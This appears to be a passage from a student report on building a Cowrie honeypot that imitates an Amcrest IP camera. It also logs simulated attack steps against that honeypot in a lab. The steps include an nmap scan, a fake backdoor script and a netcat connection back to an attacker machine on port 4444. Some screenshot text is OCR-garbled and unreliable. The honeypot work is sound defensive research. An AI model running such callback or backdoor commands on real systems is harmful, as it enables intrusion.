(eventid			_index: testdb-logs-2023.09.25 _score:type: _doc							
 Id 		> Sep 25, 2023 0 22:04:40,962	Stimestama: Can 25 2022 8 22:05:00 075 Superior: 1 action: alarm crasta data: Can 25	2022 0 22:04:40 062 14:1	12 701 in address 1	02 169 8	122 100	alarm	ie clic	ked
t lp_address			.IP:192.168.0.132.Server name:192.168.0.132.Server port:8080 server name: 192.168.0.132 s	server_port: 8080 service	name: ipcamera.amcr	est id	: SLoozoo	BNeX3Tev	ASEOd	
t log			_index: testdb-logs-2023.09.25 _score:type: _doc							
t message										
1 password		> Sep 25, 2023 0 22:04:40.201	@timestamp: Sep 25, 2023 0 22:05:00.975 @version: 1 action: setup create_date: Sep 25,	2023 0 22:04:40.201 1d: 1	12,700 1p_address: 1	92.168.0	0.132 log	: setup	is click	ked:
t server name			index: testdb-loss-2823_89_25_score: - type: doc	server_port: 8080 service	_name: ipcamera.amcr	est _10	: UL00200	osnex31ey	ASEON	
convertext			Trucki cons rale resource Tranci, Toher Tase							
sessionid		> Sep 25, 2023 0 22:04:39.090	@timestamp: Sep 25, 2023 @ 22:05:00.974 @version: 1 action: live create_date: Sep 25, 2	2023 0 22:04:39.090 id: 12	2,699 ip_address: 19	2.168.0.	132 log:	live is	clicke	d
			,IP:192.168.0.132,Server name:192.168.0.132,Server port:8080 server_name: 192.168.0.132 s	server_port: 8080 service	_name: ipcamera.amcr	est _id	: R700200	BNeX3Tey	A5E0d	
() arcup			_index: testdb-logs-2023.09.25 _score:type: _doc							

Figure 23 Other Notable Incidents Captured by Our Honeypot

Integration with Spring Boot Application:

Our Spring Boot application plays a crucial role in this setup. It captures interactions from the honeypot and logs them to Elasticsearch. With the data indexed in Elasticsearch, we can then use Kibana to visualize and analyse this data in real time.

By integrating Elasticsearch and Kibana with our honeypot system, we've established a robust logging and visualization mechanism. This not only enhances our ability to monitor and analyse potential threats but also provides us with actionable insights to improve our honeypot's effectiveness.

Cowrie emulates an SSH interface for the camera. Even though Amcrest camera doesn't support SSH or telnet, having this interface could still be valuable. Why? Attackers continuously scan the internet for open ports, and SSH is one of the most commonly scanned ports.

Cowrie.cfg file: Adjusted the hostname and SSH version string to resemble an IoT device rather than a generic Unix system.



Figure 24 Hostname. for the Honeypot



Figure 25 Version of the Honeypot

For File System Emulation, Cowrie uses a directory named honeyfs to emulate the file system of the honeypot. Any file or directory inside honeyfs will appear to the attacker as if it's part of the system they've accessed.

- Utilized honeyfs directory to mimic the honeypot's file system.
- Removed certain default UNIX files.
- Introduced camera-specific directories: configurations, logs, and media storage.
- Incorporated genuine videos and photos from the Amcrest camera for realism.

nonpot@nonpot-virtualBox:/\$ cd	nome/nonpot/cowri	e/				
<pre>ionpot@honpot-VirtualBox:~/cowr</pre>	leş ls					
add_photos_videos_to_pickle.py			LICENSE.rst	README.rst	setup.cfg	tox.ini
oln		fsctlsf.py	Makefile	requirements dev.txt	setup.py	
		noneyrs	MANIFEST.in	requirements-output.txt		
CONTRIBUTING. rst	dosyainsolur.py	INSTALL.rst	pyproject.tomi	requirements.txt		
nonpot@nonpot-virtualBox:~/cowr	tes co noneyrs/					
nonpot@nonpot-virtualBox:~/cowr	ie/noneyrs\$ is					
ecc nome proc	ie/honewfre cd bo	me/admin/AMCO	5761 220012/			
honpot@honpot-VirtualBox:~/cowr	ie/honeyfs/home/a	dmin /AMC05761	339812¢ le			
2023_09_10 2023_09_12 DVPWork	Directory					
honnot@honnot-VirtualBox:~/cowr	ie/honevfs/home/a		3388125 cd 2023	-09-12/		
honpot@honpot-VirtualBox:~/cowr			338B12/2023-09-	125 ls		
nonpot@honpot-VirtualBox:~/cowr				12\$ cd 21hour/		
nonpot@honpot-VirtualBox:~/cowr				12/21hour\$ LS		
_S: command not found						
nonpot@honpot-VirtualBox:~/cowr				12/21hour\$ cd /.		
<pre>nonpot@honpot-VirtualBox:/\$ cd </pre>	home/honpot/cowri	e/				
honpot@honpot-VirtualBox:~/cowr	ie\$ ls					
add_photos_videos_to_pickle.py			LICENSE.rst	README.rst	setup.cfg	tox.ini
		fsctlsf.py	Makefile	requirements-dev.txt	setup.py	
CHANGELOG.rst			MANIFEST.in	requirements-output.txt		
CONTRIBUTING.rst	dosyainsolur.py	INSTALL.rst	pyproject.toml	requirements.txt		
<pre>ionpot@honpot-VirtualBox:~/cowr</pre>	<pre>tes cd honeyfs/ho</pre>	me/admin/AMC0	5761_338B12/			
ionpot@nonpot-VirtualBox:~/cowr	ie/honeyfs/home/a		_338B12\$ LS			
2023-09-10 2023-09-12 DVRWork	Directory		220042C -4 2022	00.43		
compot@nonpot-vtrtualBox:~/cowr			CO 2023	109-12		
Tompolenonpol-virtualBox:~/cowr				125 (5		
conour Zinour				125 cd 21bour/		
honpot@honpot_VictualBox:~/cowr				12/21hours 1c		
fav ing				12/2110013 (5		
honnot@honnot-VirtualBox:~/cowr				12/21hours cd day		
honpot@honpot-VirtualBox:~/cowr				12/21hour/day\$ 1s		
21.00.00-21.05.00[E][000][0].i	dx' '21.10.00-21	15.00[F][000	1[0].idx' '21.2	0.00-21.25.00[F][000][0].	idx'	
21.00.00-21.05.00[F][0@0][0].m	p4' '21.10.00-21	.15.00[F][0@0	1[0].mp4' '21.2	0.00-21.25.00[F][0@0][0].	mp4'	
nonpot@honpot-VirtualBox:~/cowr				12/21hour/dayS cd && c	d ipa	
nonpot@honpot-VirtualBox:~/cowr				12/21hour/jpgS ls	51-5	
'21.02.40[M][0@0][0].jpg' '21.	05.35[M][0@0][0].	jpg' '21.48.	01[R][000][0].ip	g' '21.48.04[R][0@0][0].	ipg'	
'21.02.41[M][0@0][0].jpg' '21.	43.25[M][0@0][0].	jpg' '21.48.	02[R][0@0][0].jp	g' '21.48.05[R][0@0][0].	ipg'	
'21.02.42[M][0@0][0].jpg' '21.4	48.00[R][0@0][0].	jpg' '21.48.	03[R][0@0][0].jp	g'		
nonpot@honpot-VirtualBox:~/cowr				12/21hour/jpg\$		

Figure 26 Screenshot of the Terminal for honeyfs

Modification of the motd File in Honeypot Configuration:

The motd (Message of the Day) file is used to display a message or information to users after they log into a system. It's a way to communicate important information, updates, or warnings to users upon successful authentication.

□ honpot@honpot-VirtualBox: ~/cowrie/ho	oneyfs/etc Q ≡ – □ ×
GNU nano 6.2 motd]
1 2 Welcome to Amcrest IP2M-841B-V3 Camera 3 Firmware Version: 5.8.2 4 Serial Number: AMC05761CF8F335B12 5 For support, visit https://support.amc 6 Unauthorized access is prohibited. All 7	System rest.com actions are logged.

Figure 27 Emulation Message

Updated the Message of the Day to reflect a message specific to our emulationThe figure shows before changes have been made and the second figure shows after the changes have been made.

honpot@honpot-VirtualBox:~\$ ssh -p 2222 admin@10.7.31.65 The authenticity of host '[10.7.31.65]:2222 ([10.7.31.65]:2222)' can't be established. ED25519 key fingerprint is SHA256:lrj1XpLBW9qQlEf1z/qFBE0pXi1DfzcF+mue6kV7f6s. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[10.7.31.65]:2222' (ED25519) to the list of known hosts. admin@10.7.31.65's password: The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Amcrest-841B>

Figure 28 Before Changes



Figure 29 After Changes

Modification of the group File in Honeypot Configuration:

What is the group file? The group file in a Linux system defines the groups to which users belong. It's crucial for setting permissions and determining user access levels.

- Replaced the default user "phil" with "admin".
- Emulating the Amcrest camera's default username.
- Enhancing honeypot realism.
- Minimizing honeypot detection chances.

ſŦ		honpot@honpot-VirtualBox: ~/cowrie/honeyfs/etc
G	NU nano 6.2	group
1	root:x:0:	
2	daemon:x:1:	
3	bin:x:2:	
4	sys:x:3:	
5	adm:x:4:	
6	tty:x:5:	
1	dlsk:x:6:	
×	LD:X:/:	
10		
11	news.x.9.	
12	man.v.12.	
13	DEOXV:X:13:	
14	kmem:x:15:	
15	dialout:x:20:	
16	fax:x:21:	
17	voice:x:22:	
18	cdrom:x:24:admin	
19	floppy:x:25:admin	
20	tape:x:26:	
21	sudo:x:27:	
22	audio:x:29:admin	
23	dip:x:30:admin	
24	www-data:x:33:	
25	Dackup:x:34:	
20		
28	ic:x.30.	
29	SFC:X:40:	
30	anats:x:41:	
31	shadow:x:42:	
32	utmp:x:43:	
33	video:x:44:admin	
34	sasl:x:45:	
35	plugdev:x:46:admin	
36	staff:x:50:	
37	games:x:60:	
38	users:x:100:	
39		
40	crontab:v:102:	
41	vboxsf:x:102:	
43	ssh:x:104:	
44	admin:x:1000:	
45		



Modification of the hostname in Honeypot Configuration:

The hostname is a label assigned to a device connected to a computer network. It is used to identify the device in various forms of electronic communication, such as the World Wide Web.

Updated the hostname in both honeyfs/etc/hostname and the Cowrie configuration file from "svr04" to "AMcrest-841B" to:

- Emulate the Amcrest camera model's naming convention.
- Enhance honeypot realism.
- Reduce honeypot detection chances.

Γ	honpot@honpot-VirtualBox: ~/cowrie/ho	oneyfs/etc	Q	Ξ	Θ	•	×
GNU	nano 6.2 hostnar	me					
1 Amc	crest-841B						
2							
2							

Figure 31 Hostname

F			honpot@	honpot-Virt	ualBox: ~	/cowrie	/etc	Q	≡			×
GNU nano	6.2			COML	ie.cfg							
25 <mark>#</mark> Hos 26 # env 27 # 28 # (de 29 hostn 30 31	tname for ironment fault: sv ame = Amc	r04) rest	honeypot. -841B	Displayed	by the	shell	prompt	: of	the	virtu	al	



File: hosts

What is it?: The hosts file is a system file used to map hostnames to IP addresses, aiding in address resolution without needing to query a DNS server.

- Adjusted the hostname from "nas3" to "Amcrest-841B".
- Added a comment indicating emulation of the "Amcrest IP Camera Model 841B-V3".



Figure 33 The Capable Hosts

Modification of the issue.net File in Honeypot Configuration:

What is the issue.net file? The issue.net file is typically used to display a pre-login message or warning to users attempting to access a system. This message is shown before the user provides any credentials.

Updated the file to display: "Amcrest IP2M-841B-V3 Camera System. Attempting unauthorized access will lead to prosecution." This was done to:

- Emulate the specific IoT device.
- Serve as a deterrent for unauthorized users.
- Enhance honeypot realism.



Figure 34 The Example of Attempting Unauthorized Access

Modification of the passwd File in Honeypot Configuration:

What is the passwd file? The passwd file is a system file in Unix-like operating systems that contains information about users on the system. It includes details like username, user ID, group ID, home directory, and the shell they use.

Commented out the entry for the user "phil".

Added a new entry for the user "admin" with the same user and group ID as "phil".

	F	honpot@honpot-Virt	ualBox: ~/cowrie/honeyfs/etc	Q				×
l	(NU nano 6.2	passwd					
l	1	<pre>root:x:0:0:root:/root:/</pre>	/bin/bash					
l	2	daemon:x:1:1:daemon:/us	r/sbin:/bin/sh					
l	3	bin:x:2:2:bin:/bin:/bin	i/sh					
l	4	sys:x:3:3:sys:/dev:/bin	ı/sh					
'g	5	sync:x:4:65534:sync:/bi	.n:/bin/sync					
1	6	games:x:5:60:games:/usr	/games:/bin/sh					
l	7	man:x:6:12:man:/var/cac	he/man:/bin/sh					
I	8	<pre>lp:x:7:7:lp:/var/spool/</pre>	lpd:/bin/sh					
I	9	mail:x:8:8:mail:/var/ma	ill:/bin/sh					
I	10	news:x:9:9:news:/var/sp	bool/news:/bln/sn					
l	11	uucp:x:10:10:uucp:/var/	spool/uucp:/bin/sn					
DI	12	proxy:x:13:13:proxy:/bt	.n:/bin/sn					
I	11	www-udid:X:35:35:www-ud	var/backups:/bip/sh					
I	15	list.v.38.38.Mailing Li	st Manager / Var/list / hir	n/sh				
J	16	irc:x:39:39:ircd:/var/r	un/ircd:/bin/sh	17 311				
I	17	gnats:x:41:41:Gnats Bug	-Reporting System (admin)):/va	r/lib		s:/bi	n/>
s	18	nobodv:x:65534:65534:no	body:/nonexistent:/bin/sh	1,12	. /	, g		
	19	libuuid:x:100:101::/var	/lib/libuuid:/bin/sh					
e	20	sshd:x:101:65534::/var/	/run/sshd:/usr/sbin/nologi	in				
I	21	<pre>#phil:x:1000:1000:Phil</pre>	California,,,:/home/phil:	:/bin	/bash			
	22	admin:x:1000:1000:Admin	User,,,:/home/admin:/bir	n/bas	h			
	23							
	24							

Figure 35 The passwd File

Modification of the resolv.conf in Honeypot Configuration:

What is the resolv.conf file? The resolv.conf file is a system configuration file in Unix-like operating systems that specifies the DNS servers to be used for domain name resolution.

Replaced Google's DNS servers with Cloudflare's 1.1.1.1 and OpenDNS's 208.67.222.222 for:

- Diversifying DNS queries.
- Enhancing privacy and security.
- Emulating different real-world setups.

▶ honpot@honpot-Virtua	lBox: ~/cowrie/honeyfs/etc	Q	Ξ		×
GNU nano 6.2	resolv.conf				
1 nameserver 1.1.1.1					
2 nameserver 208.67.222.222					
3					

Figure 36 The resolv.conf File

Modification of the shadow File in Honeypot Configuration:

What is the shadow file? The shadow file is a system file in Unix-like operating systems that contains encrypted password information for users on the system. This file enhances security by making user passwords unreadable, even if the file is accessed.

- Replaced the user "phil" with "admin".
- Updated encrypted password hashes for both "root" and "admin" users for enhanced security.



Figure 37 The shadow File

What is the cpuinfo file? The /proc/cpuinfo file provides detailed specifications about the CPU(s) on a Linux system. It's a virtual file that gives insights into the processor's features and capabilities.

Modified the file to emulate an ARM-based device, specifically the ARM Cortex-A7, to:

- Align with the expected hardware of the Amcrest IP2M-841B-V3 Camera System.
- Enhance honeypot realism.
- Minimize honeypot detection chances.

ſ	n honpot@h	nonpot-VirtualBox: ~/cowrie/honeyfs/proc Q = _ 🗆 ×	
(GNU nano 6.2	cpuinfo	
1	processor :	0	
2	vendor_id :	ARM	
3	cpu family :	7	
4	model :	5	
5	model name :	ARM Cortex-A7	
б	stepping :	1	
7	cpu MHz :	900.000	
8	cache size :	256 KB	
9	physical id :	0	
10	siblings :	1	
11	core id :	0	
12	cpu cores :	1	
13	apicid :	0	
14	initial apicid :	0	
15	fpu :	yes	
16	fpu_exception :	yes	
17	cpuid level :	10	
18	wp :	yes	
19	flags :	half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva	>
20	bogomips :	1800.00	
21	clflush size :	32	
22	cache_alignment :	64	
23	address sizes :	32 bits physical, 32 bits virtual	
24	power management:	ARM Power Management	

Figure 38 The /proc/cpuinfo File

Modification of the meminfo file in the proc directory:

What is the meminfo file? The /proc/meminfo file provides detailed information about the system's memory usage, including physical and swap memory. It's a virtual file that offers insights into the memory characteristics of the system.

Adjusted to reflect the memory characteristics of an embedded device, like the Amcrest IP2M-841B-V3 Camera System.

- Emulate the actual device's hardware.
- Enhance honeypot realism.
- Avoid honeypot detection by aligning memory details.

ſ	n honpo	ot@honpot-VirtualE	3ox: ~/cowrie/honeyfs/proc	Q =		×
	GNU nano 6.2		meminfo			
1	MemTotal:	512000 kB				
2	MemFree:	250000 kB				
3	Buffers:	10000 kB				
4	Cached:	150000 kB				
5	SwapCached:	0 kB				
б	Active:	200000 kB				
7	Inactive:	50000 kB				
8	Active(anon):	100000 kB				
9	<pre>Inactive(anon):</pre>	25000 kB				
10	Active(file):	100000 kB				
11	<pre>Inactive(file):</pre>	25000 kB				
12	Unevictable:	0 kB				
13	Mlocked:	0 kB				
14	SwapTotal:	0 kB				
15	SwapFree:	0 kB				
16	Dirty:	0 kB				
17	Writeback:	0 kB				
18	AnonPages:	100000 kB				
19	Mapped:	5000 kB				
20	Shmem:	5000 kB				
21	Slab:	25000 kB				
22	SReclaimable:	20000 kB				
23	SUnreclaim:	5000 kB				
24	KernelStack:	1000 kB				
25	PageTables:	5000 kB				

Figure 39 The /proc/meminfo File

Modification of the version file in the proc directory:

What is the version file? The /proc/version file provides detailed information about the version of the Linux kernel, the name of the user who compiled the kernel, and the GCC version used. It's a virtual file that offers insights into the kernel version and related details of the system.

Adjusted to reflect the kernel and system characteristics of an embedded device, like the Amcrest IP2M-841B-V3 Camera System.

- Emulate the specific device's kernel version.
- Enhance honeypot realism.
- Avoid honeypot detection by aligning kernel details.

F	honpot@honpot-VirtualBox: ~/cowrie/honeyfs/proc	Q				×
GNU nano 6.2	version *					
1 Linux versi	1 Linux version 4.14.180-armv7l (amcrest@camera-system)					
2 (gcc version 6.3.0 (Amcrest GCC 6.3.0-18+deb9u1))						
3 #1 SMP Amcrest 4.14.180-1+deb9u1						
4						

Figure 40 The /proc/version File

Modification of the arp file in the proc/net directory:

What is the arp file? The /proc/net/arp file provides a snapshot of the system's ARP (Address Resolution Protocol) cache. This cache maps IP addresses to MAC addresses for devices on the local network. The ARP cache helps the system determine the MAC address of a device when it knows the IP address.

Adjusted to reflect the network characteristics of an embedded device, like the Amcrest IP2M-841B-V3 Camera System.

- Emulate the device's network interactions.
- Enhance honeypot realism.
- Avoid honeypot detection by aligning ARP cache details.

honpot@	honpot-Virtua	lBox: ~/cowrie	/honeyfs/proc/net Q		• ×
GNU nano 6.2			агр		
1 IP address	HW type	Flags	HW address	Mask	Dev>
2 192.168.1.168	0x1	0x2	65:7b:2a:38:15:c5	*	eth0
3 192.168.1.1	0x1	0x2	00:23:4f:40:3b:78	*	eth0
4					

Figure 41 The /proc/net/arp File

Modification of the lscpu file in the /cowrie/share/cowrie/txtcmds/usr/bin directory:

What is the lscpu file? The lscpu command provides detailed information about the CPU and its architecture. It offers insights into the processor's features, capabilities, and the overall system's architecture.

Modified the output to emulate an ARM-based device, specifically the ARM Cortex-A7 specifications.

- Emulate the actual device's hardware.
- Enhance honeypot realism.
- Avoid honeypot detection by aligning CPU details.

ा honpot@honpot-Virtu	alBox: ~/cowrie/share/cowrie/txtcmd	Q	Ξ		×
GNU nano 6.2	lscpu				
1 Architecture:	armv7l				
<pre>2 CPU op-mode(s):</pre>	32-bit				
3 Byte Order:	Little Endian				
4 CPU(s):	1				
5 On-line CPU(s) list:	0				
6 Thread(s) per core:	1				
<pre>7 Core(s) per socket:</pre>	1				
<pre>8 Socket(s):</pre>	1				
9 NUMA node(s):	1				
10 Vendor ID:	ARM				
<pre>11 CPU family:</pre>	7				
12 Model:	5				
<pre>13 Stepping:</pre>	1				
14 CPU MHz:	900.000				
<pre>15 BogoMIPS:</pre>	1800.00				
16 Hypervisor vendor:	N/A				
<pre>17 Virtualization type:</pre>	none				
18 L1d cache:	32K				
19 L1i cache:	32K				
20 L2 cache:	256K				
<pre>21 NUMA node0 CPU(s):</pre>	0				
22					
23					

Figure 42 The lscpu File

Npoc file:

Adjusted in line with the modifications to the cpuinfo file.

• Ensure consistency and realism in the emulated environment.

ΓŦ	honpot@honpot-VirtualBox: ~/cowrie/share/cowri	e/txtcmd	₹		×
GNU	лапо 6.2 пргос				
1 <u>1</u> 2					

Figure 43 The nproc File

4.2.1. Scripts

To streamline the operation of our honeypot system, we developed several scripts using Python. These scripts automate various tasks, ensuring efficient and consistent execution.

Our sendinglogstoazure script is designed to automate the collection and transmission of logs from our services, such as the Cowrie honeypot and the IP camera interface, to Azure. It handles tasks like formatting the logs, authenticating with Azure, securely transmitting the logs, and verifying their successful delivery. This ensures that our logs are consistently and centrally stored in Azure.



Figure 44 Script to Send Logs to Azure

To initiate the honeypot, which currently encompasses the configured Cowrie and two Spring Boot applications emulating the Amcrest camera web interface, we crafted a script that consolidates the startup processes into a single executable. This script, named 2_start_all.sh, activates Cowrie, the Spring Boot application(springboot-ipcameraamcrest), and another script named sendinglogstoazure responsible for reading and forwarding logs to Microsoft Azure.



Figure 45 Initialiser Script

Given the iterative nature of our testing and development, we found it essential to have a mechanism to halt all services swiftly. To this end, we devised the 2_stop_all.sh script. This script provides a quick way to shut down the Cowrie honeypot, the Spring Boot applications, and any other related processes, ensuring a clean environment for subsequent trials.



Figure 46 Script to Stop All Services

5. TESTING AND ANALYSIS

We established an environment to emulate the Amcrest IP2M-841B-V3 Camera System using Cowrie and two spring boot applications. The first application named springboot-ipcameraamcrest emulates the camera's web interface, streaming on the common HTTP port, 8080 and Cowrie operates on port 22. These ports are often targeted by attackers. The second spring boot application named springboot-ipcamera-logging initially aimed to save and display logs. However, recognizing the potential risks of storing logs in the same environment as Cowrie and the web interface emulation, we transitioned to Microsoft Azure. This application now runs on Azure, transmitting logs to Elastic Search. Leveraging the ELK Stack (Elastic Search, LogStash, and Kibana), we can visualize logs and extract essential information such as IP addresses, session IDs, usernames, and passwords. Our primary objective was to create a believable IoT environment to attract and study attackers.

5.1. Attack scenarios

Given the inherent risks of deploying a honeypot online, we opted to test our honeypot internally. This decision ensures controlled testing without exposing the system to real-world threats. Attackers often follow some steps in order to achieve their goal. Lockheed Martin developed a framework named Cyber Kill Chain, this framework is an important component of the intelligence-driven model, designed to identify and prevent cyber intrusion activities. The model delineates the steps adversaries must undertake to reach their objectives. The Cyber Kill Chain consists of seven steps; these steps enhance the visibility of an attack, enriching an analyst's understanding of an intruder's tactics, techniques and procedures(Lockheed Martin 2011). Steps: Reconnaissance, Weaponization, Delivery, Exploitation, Installation, Command & Control, Actions on Objectives.

We adopted Cyber Kill Chain framework to guide our attacker scenarios.

5.1.1. Reconnaissance Phase

In this phase, adversaries try to identify their target without really interacting with it. They do network scanning to determine open ports via some tool. One of the most common tools for this is nmap. We will use nmap to see the open ports in our honeypot.

ubuntu@ubuntu2	:~\$ nmap -Pn 192.168.0.132
Starting Nmap	7.80 (https://nmap.org) at 2023-10-09 11:42 BST
Nmap scan repo	rt for 192.168.0.132
Host is up (0.	00065s latency).
Not shown: 997	filtered ports
PORT STATE	SERVICE
22/tcp open	ssh
8080/tcp open	http-proxy

Figure 47 NMAP Scan for Open Ports in Our Honeypot

As we aimed, the network scanning from our attacker machine to our honeypot gives the expected results we see two open ports which are 22 Cowrie and 8080 Web interface.

5.1.2. Weaponization

The attackers create a malicious tool to the exploit target. In this stage will prepare a benign file which is a text file that mimics a malicious script. In our attacker machine we create a text file named CMT400 fake malware.txt.



Figure 48 Fake Malware File

5.1.3. Delivery

The attackers transmit the weapon to the target machine via scp.



Figure 49 Attacker Transmit Weapon to the Target Machine via scp

In Kibana, we are able to see the relevant logs in a detailed manner, we filtered the results by sessionid. We are able to see the connection established with the IP address, the version of SSH, command execution which is 'scp' command. Then, our honeypot saved the contents of the file transferred with a SHA-256. This is crucial as it allows us to analyse the contents of the file. Later, we will examine this file for analysis.

sessionid: 886212c12195 × + A	differ and the second se
10 hits	0 Saw dat
Time 🕹	Document
> Oct 9, 2823 8 12:84:48.954	senance MARCHONE Binestam, Got S, MU & U MU
> Oct 9, 2823 0 12:84:48.747	Sentences MARCOOM Researching for 5, 2013 & U.B. A. S. D. S. S. D. S. U.B. A. S. Present course lag closed gr (2,75) lags 10, 24.8 A. H. Shiftelitte's course lag closed gr (2,75) lags 10, 24.8 A. H. Shiftelitte's course lag closed gr (2,75) lags 10, 24.8 A. H. Shiftelitte's course lag closed gr (2,75) lags 10, 24.8 A. H. Shiftelitte's course lag closed gr (2,75) lags 10, 24.8 A. H. Shiftelitte's course lag closed gr (2,75) lags 10, 24.8 A. H. Shiftelitte's course lag closed gr (2,75) lags 10, 24.8 A. H. Shiftelitte's course lag closed gr (2,75) lags 10, 24.8 A. Shiftelitte's course lags closed gr (2,75) lags 10, 24.8 A. Shiftelitte's course lags closed gr (2,75) lags 10, 24.8 A. Shiftelitte's course lags closed gr (2,75) lags 10, 24.8 A. Shiftelitte's course lags closed gr (2,75) lags 10, 24.8 A. Shiftelitte's course lags closed gr (2,75) lags 10, 24.8 A. Shiftelitte's course lags closed gr (2,75) lags 10, 24.8 A. Shiftelitte's course lags closed gr (2,75) lags 10, 24.8 A. Shiftelitte's course lags closed gr (2,75) lags 10, 24.8 A. Shiftelitte's course lags closed gr (2,75) lags 10, 24.8 A. Shiftelitte's course lags closed gr (2,75) lags 10, 24.8 A. Shiftelitte's course lags closed gr (2,75) lags 10, 24.8 A. Shiftelitte's course lags closed gr (2,75) lags 10, 24.8 A. Shiftelitte's course lags closed gr (2,75) lags 10, 24.8 A. Shiftelitte's course cours
) Oct 9, 2023 0 12:04:40.533	samuel and off Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 20. I. 9. W. 1. 9. Frances) Frances (s. 1. 9. W. 1. 9. W. 1. 9. Frances) Frances (s. 1. 9. W. 1.
> Oct 9, 2023 0 12:04:40.321	sentioned: BECALCOPE Releasements of 1, 2013 & 13:13:13 Because 1 overlaghter for 1, 2013 & 12:83:43.201 events connect input or (1, 70) input 📷 < - input int <- int <- input int <- input int <- input int <- inpu
3 Oct 9, 2823 8 12:84:48.113	seminor: MEXTLORY Rimentance, lot 3, 2013 4 U Ma 15 30 Average (arts lot 3, 2013 4 U Ma 40 U Average covins assiste parama get 0,712 log; 10,214 8 M - BEPG2195 - covins assiste parama () message () message covins arts arts (p. 102.108.8.M top; _polyarafalles
> Oct 9, 2823 8 12:84:39.982	sentent MCALONE Rimetany De 1, 2018 9 19 19 19 Bernin 1 overigen de 1, 2018 9 19 19 19 19 19 10 19 10 19 10 10 10 10 10 10 10 10 10 10 10 10 10
) Oct 9, 2823 8 12:84:39.688	sensions MAX-078 presentant for 5, 201 5 (13) 5 (15) 10 Average (15) 201 5 (13) 10 Average (15) 201 5 (13) 30 B sensing costs lapls screen 2 (17) 2 2 (13) 4 S 4 + B02/01/075 - costs lapls screen - lapls streen (administry laple streen (administry
) Oct 9, 2823 8 12:84:26.731	sensorie Marcharde Riseriane (or 5, 202) § U 8 (U 5 20) Service (or 5, 202) § U 8 (U 5 20) service contra client has \$ U 7,76 Jag; V2 10 8 4 - BUTCLTPS - contra client has 5 Edited hand fragegrint. 2050/2007/BUTLATERDATIONIABle contra the propriet. 2050/2007/2007/2007/2007/2007/2007/2007/
) Oct 9, 2823 8 12:84:26.479	initial MARCTORM Dimension for 5, 2013 & U.S. (5, 2013 & U.S.
> Oct 9, 2823 0 12:84:26.258	HANDALLY BARANCES BILLET STREAMS OF 1, 2021 & U. M. 13. 30 Berlin, 1 grants, date, bt 1, 2021 & U. M. 24. 25 Berling Courts.emin.commet 141 (U. 707 Jag 10. M. 8.4. MR2/C1295 - courts.emin.commet. 102 (M. 8.4. 4224 (U. 10. 8.4. 4

Figure 50 Kibana's Logs

5.1.4. Exploit

We simulated an attempt to exfiltrate a file from the honeypot to the attacker's machine via wget.

ubuntu@ubuntu2:~\$ wget http://192.168.0.132:8080/CMT400_fake_malware.txt 2023-10-09 13:48:20 http://192.168.0.132:8080/CMT400_fake_malware.txt	
Connecting to 192.168.0.132:8080 connected	I
HTTP request sent, awaiting response 302	
Location: http://192.168.0.132:8080/login [following]	
2023-10-09 13:48:20 http://192.168.0.132:8080/login	
Reusing existing connection to 192.168.0.132:8080.	
HTTP request sent, awaiting response 200	
Length: unspecified [text/html]	
Saving to: 'CMT400_fake_malware.txt.1'	
CMT400_fake_malware [<=>] 53.03KKB/s in 0.002s
2023-10-09 13:48:20 (21.5 MB/s) - 'CMT400_fa	e_malware.txt.1' saved [54298]

Figure 51 Simulation of an Attempt via wget

5.1.5. Installation

In this phase, we attempted to create a fake backdoor script and execute it on the honeypot. However, Cowrie does not allow the full execution of arbitrary scripts. Instead, it emulates certain behaviors and logs the attacker's actions.

Even though the script was not actually executed, the attempt to create and run it was captured by Cowrie. This is valuable information as it provides insights into the attacker's intentions and tactics.
Amcrest-8418> echo "echo 'This is a fake backdoor scipt' " > backdoor.sh Amcrest-8418> chmod +x backdoor sh
Amcrest-841B> ls -l
drwxr-xr-x 1 admin admin 4096 2023-09-18 03:13 2023-09-10 drwxr-xr-x 1 admin admin 4096 2023-09-18 03:42 2023-09-12
-rwxr-xr-x 1 admin admin 4016 2023-09-18 04:40 DVRWorkDirectory -rw-rr- 1 root - root - 38 2023-10-09 14:29 backdoor.sh
Amcrest-841B> cat backdoor.sh
Amcrest-841B> ./backdoor.sh
-bash: ./backdoor.sh: command not found Amcrest-841B>

Figure 52 Fake Backdoor Script

5.1.6. Command & Control

In this stage will try to establish a connection back to the attacker's machine.



Figure 53 Connection Establishment Back to the Attacker's Machine

This command simulates an attempt to establish a connection using netcat to the attacker's machine.

Time ψ	Document
> Oct 9, 2023 @ 15:08:26.830	@timestamp: Oct 9, 2023 @ 15:09:01.007 @version: 1 create_date: Oct 9, 2023 @ 15:08:26.830 eventid: cowrie.command.input id: 12,743 input: 🔽 192.168.8.94 4444 log: 192.168.8.94 - 18:023ec11b2 - cowrie.command.input - CMD: 🔂 192.168.8.94 4444 message: CMD: 🔂 192.168.8.94 4444 service_name: cowrie sessionid: 18:023ec11b2 src_ip: 192.168.8.94 tags: _grokparsefailure _id: zvjFFis89MSARJD-ECM7 _index: testdb-loge-2023.18.8.9 score:type: _doc
